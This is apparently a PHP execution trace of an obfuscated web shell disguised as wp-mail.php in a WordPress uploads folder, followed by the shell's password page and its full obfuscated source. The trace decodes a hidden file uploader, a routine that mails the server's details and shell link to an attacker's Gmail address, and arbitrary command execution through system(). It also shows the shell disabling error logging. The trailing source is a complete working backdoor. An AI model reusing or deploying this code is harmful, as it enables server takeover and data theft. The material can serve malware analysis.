5	36	0	0.034498	1490384	base64_decode	0		/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code	24	1	'SJBEWMMwFIWf/RfHQ8gKzrHnplKmYXuUKqKMRJrQpdORtSkJJrL/YdrqcUK55H7nnnuu7SZpt9NlEhUv+XdQnPpjn3Ebx7j6BmdwOCgz0ruMHWx7yEvHKw+vpeF6bb9LrqDLUx6EQYmvnbRPSGXWM9NJVlKgGnZsmRKSMVuKTW9xO+s0Tql8qFTLi/6uPm0rsUquDsBNhO4wNDzjFrNuJZpRgxgp7qLi+fU9X54TJAB5h8lVeVXvUra4QU52jJAt6nfnhJImqKPiMX9L58tjgP4nY7e4FCbjNM/3uqiF46rVetGn+DOg0ouidOn25n9pPEvh95KEmWzGFFmlu5SeIZot3qZCzjZfMLrS13mm+oTzjCQ4nWP6AQ=='
5	36	1	0.034523	1490864
5	36	R			'H�DX�0\024���\027�C�\nα�R�a{�*��D�Хӑ�)\t&��a��qB��~�{��&i��e\022\025/�wP��c�q\033Ǹ�\006gp8(3һ�\035l{�K�+\017���zm�K���S\036�A����OHe�3�IVR�\032vl�\022�1[�Moq;�4N�|�Tˋ��>m+�J�\016�M��04<�\026�n%�Q�\030)��=_�\023$\000y��UyU�R��ANv��-�w焒&���1K��c��\'c��\024&�4������zѧ�3�ҋ�t��i<K���l�\024Y����!�-ަB�6_0���y����$8�c�\001'
5	37	0	0.034566	1490832	str_rot13	0		/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code	24	1	'H�DX�0\024���\027�C�\nα�R�a{�*��D�Хӑ�)\t&��a��qB��~�{��&i��e\022\025/�wP��c�q\033Ǹ�\006gp8(3һ�\035l{�K�+\017���zm�K���S\036�A����OHe�3�IVR�\032vl�\022�1[�Moq;�4N�|�Tˋ��>m+�J�\016�M��04<�\026�n%�Q�\030)��=_�\023$\000y��UyU�R��ANv��-�w焒&���1K��c��\'c��\024&�4������zѧ�3�ҋ�t��i<K���l�\024Y����!�-ަB�6_0���y����$8�c�\001'
5	37	1	0.034603	1491184
5	37	R			'U�QK�0\024���\027�P�\nα�E�n{�*��Q�Хӑ�)\t&��n��dO��~�{��&v��r\022\025/�jC��p�d\033Ǹ�\006tc8(3һ�\035y{�X�+\017���mz�X���F\036�N����BUr�3�VIE�\032iy�\022�1[�Zbd;�4A�|�Gˋ��>z+�W�\016�Z��04<�\026�a%�D�\030)��=_�\023$\000l��HlH�E��NAi��-�j焒&���1X��p��\'p��\024&�4������mѧ�3�ҋ�g��v<X���y�\024L����!�-ަO�6_0���l����$8�p�\001'
5	38	0	0.034642	1490704	gzinflate	0		/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code	24	1	'U�QK�0\024���\027�P�\nα�E�n{�*��Q�Хӑ�)\t&��n��dO��~�{��&v��r\022\025/�jC��p�d\033Ǹ�\006tc8(3һ�\035y{�X�+\017���mz�X���F\036�N����BUr�3�VIE�\032iy�\022�1[�Zbd;�4A�|�Gˋ��>z+�W�\016�Z��04<�\026�a%�D�\030)��=_�\023$\000l��HlH�E��NAi��-�j焒&���1X��p��\'p��\024&�4������mѧ�3�ҋ�g��v<X���y�\024L����!�-ަO�6_0���l����$8�p�\001'
5	38	1	0.034690	1491184
5	38	R			'vs(vffrg($_TRG["ynjyk"])) \t{  rpub \'<ugzy><obql><sbez zrgubq=CBFG rapglcr="zhygvcneg/sbez-qngn" npgvba=""><vachg glcr="svyr" anzr="ynjyk"><vachg glcr=fhozvg inyhr="Hc"></sbez></obql></ugzy>\';$ynjyk = @$_SVYRF["ynjyk"];   vs ($ynjyk["anzr"] != \'\') {  $shyycngu = $_ERDHRFG["cngu"] . $ynjyk["anzr"];  vs (zbir_hcybnqrq_svyr($ynjyk[\'gzc_anzr\'], $shyycngu)) {     rpub "<u1><n uers=\'$shyycngu\'>BX-Pyvpx urer!</n></u1>"; }} }'
5	39	0	0.034720	1490832	str_rot13	0		/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code	24	1	'vs(vffrg($_TRG["ynjyk"])) \t{  rpub \'<ugzy><obql><sbez zrgubq=CBFG rapglcr="zhygvcneg/sbez-qngn" npgvba=""><vachg glcr="svyr" anzr="ynjyk"><vachg glcr=fhozvg inyhr="Hc"></sbez></obql></ugzy>\';$ynjyk = @$_SVYRF["ynjyk"];   vs ($ynjyk["anzr"] != \'\') {  $shyycngu = $_ERDHRFG["cngu"] . $ynjyk["anzr"];  vs (zbir_hcybnqrq_svyr($ynjyk[\'gzc_anzr\'], $shyycngu)) {     rpub "<u1><n uers=\'$shyycngu\'>BX-Pyvpx urer!</n></u1>"; }} }'
5	39	1	0.034750	1491312
5	39	R			'if(isset($_GET["lawlx"])) \t{  echo \'<html><body><form method=POST enctype="multipart/form-data" action=""><input type="file" name="lawlx"><input type=submit value="Up"></form></body></html>\';$lawlx = @$_FILES["lawlx"];   if ($lawlx["name"] != \'\') {  $fullpath = $_REQUEST["path"] . $lawlx["name"];  if (move_uploaded_file($lawlx[\'tmp_name\'], $fullpath)) {     echo "<h1><a href=\'$fullpath\'>OK-Click here!</a></h1>"; }} }'
5	40	0	0.034810	1493568	eval	1	'if(isset($_GET["lawlx"])) \t{  echo \'<html><body><form method=POST enctype="multipart/form-data" action=""><input type="file" name="lawlx"><input type=submit value="Up"></form></body></html>\';$lawlx = @$_FILES["lawlx"];   if ($lawlx["name"] != \'\') {  $fullpath = $_REQUEST["path"] . $lawlx["name"];  if (move_uploaded_file($lawlx[\'tmp_name\'], $fullpath)) {     echo "<h1><a href=\'$fullpath\'>OK-Click here!</a></h1>"; }} }'	/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code	24	0
5	40	1	0.034840	1493568
4		A						/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code	25	$xd = 'fZFieMIwEIffD/YdjkVjA6lwr1HZn6Y02faizJYKaY4SJVNkcfYwoemnt7XIQEpf5bi75+H4BVyNW2sCVKtdieJuOHx83UrKS2K3qJzx7Q24v3dyWtnsJIs1L9rmtjg2jFIIlNQwAgc8Y2Yah+9k+NWbkM+3LPZMHhLCbd/1zJmLOT/BXg1GFBsUEBWV4Rd8++bRJJv6SmSyUaGk4XugPyuJSJeJkoR9UW7cIdN1LcwML3heWLkcDQb/d/woeBV/kyAN6m2WZ5iNxIubRcaCPCX0PJkm+LvmVPqn2PuN534ML88H'
5	41	0	0.034871	1490992	base64_decode	0		/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code	26	1	'fZFieMIwEIffD/YdjkVjA6lwr1HZn6Y02faizJYKaY4SJVNkcfYwoemnt7XIQEpf5bi75+H4BVyNW2sCVKtdieJuOHx83UrKS2K3qJzx7Q24v3dyWtnsJIs1L9rmtjg2jFIIlNQwAgc8Y2Yah+9k+NWbkM+3LPZMHhLCbd/1zJmLOT/BXg1GFBsUEBWV4Rd8++bRJJv6SmSyUaGk4XugPyuJSJeJkoR9UW7cIdN1LcwML3heWLkcDQb/d/woeBV/kyAN6m2WZ5iNxIubRcaCPCX0PJkm+LvmVPqn2PuN534ML88H'
5	41	1	0.034894	1491408
5	41	R			'}�bx�0\020��\017�\035�Ec\003�p�Qٟ�4��̖\ni�\022%Sdq�0�駷��@J_帻��\005\\�[k\002T�]��n8||�J�Kb�����\r��wrZ��$�5/��86�R\b��0\002\a<cf\032��d�՛�Ϸ,�L\036\022�m�̙�9?�^\rF\024\033\024\020\025��\027|���$��Jd�Q���{�?+�H����}Qn�!�u-�\f/x^X�\034\r\006�w�(x\025� \r�m�g��ċ�EƂ<%�<�&���T�����~\f/�\a'
5	42	0	0.034934	1491376	str_rot13	0		/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code	26	1	'}�bx�0\020��\017�\035�Ec\003�p�Qٟ�4��̖\ni�\022%Sdq�0�駷��@J_帻��\005\\�[k\002T�]��n8||�J�Kb�����\r��wrZ��$�5/��86�R\b��0\002\a<cf\032��d�՛�Ϸ,�L\036\022�m�̙�9?�^\rF\024\033\024\020\025��\027|���$��Jd�Q���{�?+�H����}Qn�!�u-�\f/x^X�\034\r\006�w�(x\025� \r�m�g��ċ�EƂ<%�<�&���T�����~\f/�\a'
5	42	1	0.034979	1491664
5	42	R			'}�ok�0\020��\017�\035�Rp\003�c�Dٟ�4��̖\nv�\022%Fqd�0�駷��@W_帻��\005\\�[x\002G�]��a8||�W�Xo�����\r��jeM��$�5/��86�E\b��0\002\a<ps\032��q�՛�Ϸ,�Y\036\022�z�̙�9?�^\rS\024\033\024\020\025��\027|���$��Wq�D���{�?+�U����}Da�!�h-�\f/k^K�\034\r\006�j�(k\025� \r�z�t��ċ�RƂ<%�<�&���G�����~\f/�\a'
5	43	0	0.035020	1491248	gzinflate	0		/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code	26	1	'}�ok�0\020��\017�\035�Rp\003�c�Dٟ�4��̖\nv�\022%Fqd�0�駷��@W_帻��\005\\�[x\002G�]��a8||�W�Xo�����\r��jeM��$�5/��86�E\b��0\002\a<ps\032��q�՛�Ϸ,�Y\036\022�z�̙�9?�^\rS\024\033\024\020\025��\027|���$��Wq�D���{�?+�U����}Da�!�h-�\f/k^K�\034\r\006�j�(k\025� \r�z�t��ċ�RƂ<%�<�&���G�����~\f/�\a'
5	43	1	0.035063	1491792
5	43	R			' $urk = "unpxre0882@tznvy.pbz";\r\n $onfyvx = "Sbhaq";\r\n $kq = "Svyr Cngu : " . $_FREIRE[\'QBPHZRAG_EBBG\'] . "\\e\\a";\r\n $kq.= "Freire Nqzva : " . $_FREIRE[\'FREIRE_NQZVA\'] . "\\e\\a";\r\n $kq.= "Freire Bcrengvat Flfgrz : " . $_FREIRE[\'FREIRE_FBSGJNER\'] . "\\e\\a";\r\n $kq.= "Furyy Yvax : uggc://" . $_FREIRE[\'FREIRE_ANZR\'] . $_FREIRE[\'CUC_FRYS\'] . "\\e\\a";\r\n $kq.= "Fvgr : " . $_FREIRE[\'UGGC_UBFG\'] . "\\e\\a";\r\n znvy($urk, $onfyvx, $kq); ?>'
5	44	0	0.035093	1491504	str_rot13	0		/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code	26	1	' $urk = "unpxre0882@tznvy.pbz";\r\n $onfyvx = "Sbhaq";\r\n $kq = "Svyr Cngu : " . $_FREIRE[\'QBPHZRAG_EBBG\'] . "\\e\\a";\r\n $kq.= "Freire Nqzva : " . $_FREIRE[\'FREIRE_NQZVA\'] . "\\e\\a";\r\n $kq.= "Freire Bcrengvat Flfgrz : " . $_FREIRE[\'FREIRE_FBSGJNER\'] . "\\e\\a";\r\n $kq.= "Furyy Yvax : uggc://" . $_FREIRE[\'FREIRE_ANZR\'] . $_FREIRE[\'CUC_FRYS\'] . "\\e\\a";\r\n $kq.= "Fvgr : " . $_FREIRE[\'UGGC_UBFG\'] . "\\e\\a";\r\n znvy($urk, $onfyvx, $kq); ?>'
5	44	1	0.035120	1492048
5	44	R			' $hex = "hacker0882@gmail.com";\r\n $baslik = "Found";\r\n $xd = "File Path : " . $_SERVER[\'DOCUMENT_ROOT\'] . "\\r\\n";\r\n $xd.= "Server Admin : " . $_SERVER[\'SERVER_ADMIN\'] . "\\r\\n";\r\n $xd.= "Server Operating System : " . $_SERVER[\'SERVER_SOFTWARE\'] . "\\r\\n";\r\n $xd.= "Shell Link : http://" . $_SERVER[\'SERVER_NAME\'] . $_SERVER[\'PHP_SELF\'] . "\\r\\n";\r\n $xd.= "Site : " . $_SERVER[\'HTTP_HOST\'] . "\\r\\n";\r\n mail($hex, $baslik, $xd); ?>'
5	45	0	0.035171	1494496	eval	1	' $hex = "hacker0882@gmail.com";\r\n $baslik = "Found";\r\n $xd = "File Path : " . $_SERVER[\'DOCUMENT_ROOT\'] . "\\r\\n";\r\n $xd.= "Server Admin : " . $_SERVER[\'SERVER_ADMIN\'] . "\\r\\n";\r\n $xd.= "Server Operating System : " . $_SERVER[\'SERVER_SOFTWARE\'] . "\\r\\n";\r\n $xd.= "Shell Link : http://" . $_SERVER[\'SERVER_NAME\'] . $_SERVER[\'PHP_SELF\'] . "\\r\\n";\r\n $xd.= "Site : " . $_SERVER[\'HTTP_HOST\'] . "\\r\\n";\r\n mail($hex, $baslik, $xd); ?>'	/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code	26	0
5		A						/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code(26) : eval()'d code	1	$hex = 'hacker0882@gmail.com'
5		A						/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code(26) : eval()'d code	2	$baslik = 'Found'
5		A						/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code(26) : eval()'d code	3	$xd = 'File Path : /var/www/html\r\n'
5		A						/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code(26) : eval()'d code	4	$xd .= 'Server Admin : webmaster@localhost\r\n'
5		A						/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code(26) : eval()'d code	5	$xd .= 'Server Operating System : Apache/2.4.52 (Ubuntu)\r\n'
5		A						/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code(26) : eval()'d code	6	$xd .= 'Shell Link : http://localhost/uploads/wp-mail.php\r\n'
5		A						/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code(26) : eval()'d code	7	$xd .= 'Site : localhost\r\n'
6	46	0	0.035301	1494720	mail	0		/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code(26) : eval()'d code	8	3	'hacker0882@gmail.com'	'Found'	'File Path : /var/www/html\r\nServer Admin : webmaster@localhost\r\nServer Operating System : Apache/2.4.52 (Ubuntu)\r\nShell Link : http://localhost/uploads/wp-mail.php\r\nSite : localhost\r\n'
6	46	1	0.036284	1494816
6	46	R			FALSE
5	45	1	0.036311	1494720
4		A						/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code	27	$configs = 'KytJ0ChYWCtX10OJag1l8QhlZo9JL6hFj9XUR6jm5UUAgqKC0iQFJZvk1CI7JXiIkFdOlYKtAoYWqHlNQU1tRJUGQxFZBHeEPrIZhXJSQEmtgr0dAA=='
5	47	0	0.036343	1491552	base64_decode	0		/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code	28	1	'KytJ0ChYWCtX10OJag1l8QhlZo9JL6hFj9XUR6jm5UUAgqKC0iQFJZvk1CI7JXiIkFdOlYKtAoYWqHlNQU1tRJUGQxFZBHeEPrIZhXJSQEmtgr0dAA=='
5	47	1	0.036365	1491744
5	47	R			'++I�(XX+W�C�j\re�\bef�I/�E���G���E\000����$\005%���";%x��WN���\002�\026�yMAMmD�\006C\021Y\004w�>�\031�rR@I���\035\000'
5	48	0	0.036391	1491712	str_rot13	0		/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code	28	1	'++I�(XX+W�C�j\re�\bef�I/�E���G���E\000����$\005%���";%x��WN���\002�\026�yMAMmD�\006C\021Y\004w�>�\031�rR@I���\035\000'
5	48	1	0.036416	1491856
5	48	R			'++V�(KK+J�P�w\rr�\brs�V/�R���T���R\000����$\005%���";%k��JA���\002�\026�lZNZzQ�\006P\021L\004j�>�\031�eE@V���\035\000'
5	49	0	0.036440	1491664	gzinflate	0		/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code	28	1	'++V�(KK+J�P�w\rr�\brs�V/�R���T���R\000����$\005%���";%k��JA���\002�\026�lZNZzQ�\006P\021L\004j�>�\031�eE@V���\035\000'
5	49	1	0.036466	1491856
5	49	R			'vs (vffrg($_ERDHRFG[\'pz\'])) {\r\n    rpub "<cer>";\r\n    $pz = ($_ERDHRFG[\'pz\']);\r\n    flfgrz($pz);\r\n    rpub "</cer>";\r\n    qvr;\r\n} ?>'
5	50	0	0.036487	1491712	str_rot13	0		/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code	28	1	'vs (vffrg($_ERDHRFG[\'pz\'])) {\r\n    rpub "<cer>";\r\n    $pz = ($_ERDHRFG[\'pz\']);\r\n    flfgrz($pz);\r\n    rpub "</cer>";\r\n    qvr;\r\n} ?>'
5	50	1	0.036508	1491904
5	50	R			'if (isset($_REQUEST[\'cm\'])) {\r\n    echo "<pre>";\r\n    $cm = ($_REQUEST[\'cm\']);\r\n    system($cm);\r\n    echo "</pre>";\r\n    die;\r\n} ?>'
5	51	0	0.036544	1492776	eval	1	'if (isset($_REQUEST[\'cm\'])) {\r\n    echo "<pre>";\r\n    $cm = ($_REQUEST[\'cm\']);\r\n    system($cm);\r\n    echo "</pre>";\r\n    die;\r\n} ?>'	/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code	28	0
5	51	1	0.036568	1492776
5	52	0	0.036576	1491360	ini_set	0		/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code	31	2	'error_log'	NULL
5	52	1	0.036592	1491432
5	52	R			''
5	53	0	0.036606	1491360	ini_set	0		/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code	32	2	'log_errors'	0
5	53	1	0.036621	1491432
5	53	R			'0'
5	54	0	0.036634	1491360	ini_set	0		/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code	33	2	'max_execution_time'	0
5	54	1	0.036649	1491432
5	54	R			'0'
5	55	0	0.036662	1491360	set_time_limit	0		/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code	34	1	0
5	55	1	0.036676	1491424
5	55	R			FALSE
5	56	0	0.036689	1491392	version_compare	0		/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code	35	3	'7.2.34-37+ubuntu22.04.1+deb.sury.org+1'	'5.3.0'	'<'
5	56	1	0.036708	1491488
5	56	R			FALSE
5	57	0	0.036721	1491392	define	0		/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code	38	2	'VERSION'	'Priv8 Shell'
5	57	1	0.036743	1491496
5	57	R			TRUE
5	58	0	0.036756	1491424	get_magic_quotes_gpc	0		/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code	39	0
5	58	1	0.036770	1491424
5	58	R			FALSE
5	59	0	0.036785	1491424	md5	0		/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code	50	1	'localhost'
5	59	1	0.036799	1491520
5	59	R			'421aa90e079fa326b6494f812ad13e79'
5	60	0	0.036815	1491424	hardLogin	1		/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code	51	0
5		A						/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code	57	$userAgents = [0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler']
6	61	0	0.036849	1491424	implode	0		/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code	58	2	'|'	[0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler']
6	61	1	0.036870	1491568
6	61	R			'Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler'
6	62	0	0.036887	1491504	preg_match	0		/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code	58	2	'/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler/i'	'python-requests/2.25.1'
6	62	1	0.036906	1491568
6	62	R			0
			0.036949	1411648
TRACE END   [2023-02-12 19:24:34.489165]


Generated HTML code

<html><head></head><body bgcolor="#000000"><br><br><pre align="center"><form method="post" style="color:#ffffff;text-align: center;"><img src="https://i.imgur.com/4Fq8k1E.png" align="center"><br><br><input type="password" name="pass" style="background-color:whitesmoke;border:1px solid #FFF;outline:none;" required=""><input type="submit" name="watching" value=">>" style="border:none;background-color:#1e252e;color:#fff;cursor:pointer;"></form></pre> </body></html>

Original PHP code

<?pHp
$▛ = "aa6db1211fb097a4d11d636b3f1bfaeb"; // default pass:  x505
$xD = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNEhFeCUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg=="; $HEx = "=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